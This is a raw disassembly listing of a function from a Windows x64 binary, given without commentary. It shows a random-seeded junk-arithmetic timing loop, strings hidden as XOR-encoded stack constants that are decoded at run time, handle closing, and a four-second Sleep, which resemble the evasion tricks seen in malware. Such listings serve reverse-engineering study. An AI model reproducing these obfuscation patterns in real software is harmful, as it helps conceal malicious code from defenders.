call sub.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x5ad4], 0xffffffff
mov dword [rbp + 0x4754], eax
mov rdx, r14
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x4754], eax
inc rdx
cmp rdx, 0x270
jb 0x14001ef60
mov dword [rbp + 0x4750], 0x270
mov dword [rbp + 8], esi
lea rcx, [rbp + 0x390]
call fcn.14001bea0
mov r14, qword [rbp + 0x390]
add r14, 0x5f5e100
mov r12d, 0x80000000
mov r15d, 1
call sub.MSVCP140.dll__Query_perf_frequency
mov rbx, rax
call sub.MSVCP140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001efd4
imul rax, rcx, 0x64
jmp 0x14001f04d
cmp rbx, 0x16e3600
jne 0x14001f032
movabs r9, 0xb2f4fc0794908cf3
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r9
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14001f04d
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x14001f23c
lea rax, [rbp + 0x4750]
mov qword [rbp + 0x178], rax
lea rax, [rbp + 0x4750]
mov qword [rbp + 0x180], rax
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0x178]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x14001f0ba
nop word [rax + rax]
lea rcx, [rbp + 0x178]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001f0a0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea ebx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r15d
lea rcx, [rbp + 0x180]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x14001f11a
cmp ecx, 0x64
jae 0x14001f11a
nop
lea rcx, [rbp + 0x180]
call fcn.14001b430
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x14001f100
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 8]
add edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0x4750]
mov qword [rbp + 0x188], rax
lea rcx, [rbp + 0x188]
call fcn.14001b430
mov eax, eax
imul rax, rax, 0xc9
mov ebx, edi
cmp eax, 0xc9
jae 0x14001f18a
cmp eax, 0x64
jae 0x14001f18a
nop dword [rax]
lea rcx, [rbp + 0x188]
call fcn.14001b430
mov eax, eax
imul rax, rax, 0xc9
cmp eax, 0x64
jb 0x14001f170
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r12]
lea edx, [rcx - 0x80000000]
cmp ecx, r12d
cmovae edx, eax
mov eax, dword [rbp + 8]
imul edx, eax
mov dword [rbp + 8], edx
lea rax, [rbp + 0x4750]
mov qword [rbp + 0x190], rax
lea rcx, [rbp + 0x190]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x14001f1fa
cmp edx, 0x64
jae 0x14001f1fa
nop
lea rcx, [rbp + 0x190]
call fcn.14001b430
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x14001f1e0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r12]
lea ecx, [rdx - 0x80000000]
cmp edx, r12d
cmovae ecx, eax
mov eax, dword [rbp + 8]
sub eax, ecx
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], eax
mov eax, dword [rbp + 8]
cdq
idiv edi
mov dword [rbp + 8], edx
sub rsi, r15
jne 0x14001f080
jmp 0x14001efb5
mov eax, dword [rbp + 8]
mov dword [0x1400a5998], eax
movabs rax, 0x80ad6090fb357e72
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x290], rax
movabs rbx, 0xc1f097f7809868cc
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x298], rax
movabs rdi, 0x80ad56a2cc0d4b4b
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
movdqa xmm0, xmmword [rbp + 0x290]
xorps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x870]
call fcn.140007330
mov r8, rax
lea rdx, [rbp + 0x2b0]
lea rcx, [0x1400a59d0]
call fcn.1400280e0
nop
movabs rax, 0xeffe76ffec276b10
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x8dd0f285e1ef1caa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0x9e7753d2b65ca93a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x1556864953922824
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs r12, 0xb05934bcdf38c855
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs r14, 0x155686495392282e
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rcx, [rbp + 0x100]
vzeroupper
call fcn.140018280
mov r8, qword [rbp + 0x2b8]
mov rdx, qword [rbp + 0x2b0]
sub r8, rdx
xor esi, esi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], r15d
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r15, qword [rbp + 0x20]
mov rcx, r15
call fcn.140016450
mov rcx, r15
test al, al
jne 0x14001f4d4
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0xf2e876ffec206b10
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x100], rax
movabs rax, 0xad99ff80a0ea07be
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x108], rax
movabs rax, 0xba7750ddb054e830
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x20], r14
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x20], rdi
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x20], rbx
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x20], r12
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x20], r14
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x100], ymm1
lea rcx, [rbp + 0x100]
vzeroupper
call fcn.140018280
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ebx, [rsi - 8]
jmp 0x14001f520
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x2b0]
cmp rax, qword [rbp + 0x2b8]
je 0x14001f4f1
mov qword [rbp + 0x2b8], rax
call fcn.14001f5ce
call fcn.14001f560
call fcn.14001f5b8
call fcn.14001f576
call fcn.14001f58c
call fcn.14001f560
call fcn.14001f5a2
call fcn.14001f576
call fcn.14001f58c
mov ebx, esi
lea rcx, [rbp + 0x2b0]
call fcn.140005890
nop
lea rcx, [rbp + 0x2d0]
call fcn.140018f90
mov eax, ebx
lea r11, [rsp + 0x5b50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret